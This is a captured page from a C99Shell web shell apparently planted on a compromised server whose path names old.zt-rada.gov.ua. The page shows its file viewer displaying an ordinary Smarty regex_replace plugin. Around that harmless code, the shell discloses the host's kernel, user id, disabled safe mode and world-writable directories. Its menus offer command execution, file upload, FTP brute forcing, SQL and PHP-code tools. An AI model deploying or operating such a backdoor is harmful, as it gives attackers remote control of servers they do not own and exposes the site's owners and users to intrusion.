!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/old.zt-rada.gov.ua/smarty/plugins/   drwxrwxrwx
Free 117.47 GB of 200.55 GB (58.57%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     modifier.regex_replace.php (1.23 KB)      -rwxrwxrwx
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Smarty plugin
 * @package Smarty
 * @subpackage plugins
 */


/**
 * Smarty regex_replace modifier plugin
 *
 * Type:     modifier<br>
 * Name:     regex_replace<br>
 * Purpose:  regular expression search/replace
 * @link http://smarty.php.net/manual/en/language.modifier.regex.replace.php
 *          regex_replace (Smarty online manual)
 * @author   Monte Ohrt <monte at ohrt dot com>
 * @param string
 * @param string|array
 * @param string|array
 * @return string
 */
function smarty_modifier_regex_replace($string$search$replace)
{
    if(
is_array($search)) {
      foreach(
$search as $idx => $s)
        
$search[$idx] = _smarty_regex_replace_check($s);
    } else {
      
$search _smarty_regex_replace_check($search);
    }       

    return 
preg_replace($search$replace$string);
}

function 
_smarty_regex_replace_check($search)
{
    if ((
$pos strpos($search,"\0")) !== false)
      
$search substr($search,0,$pos);
    if (
preg_match('!([a-zA-Z\s]+)$!s'$search$match) && (strpos($match[1], 'e') !== false)) {
        
/* remove eval-modifier from $search */
        
$search substr($search0, -strlen($match[1])) . preg_replace('![e\s]+!'''$match[1]);
    }
    return 
$search;
}

/* vim: set expandtab: */

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0392 ]--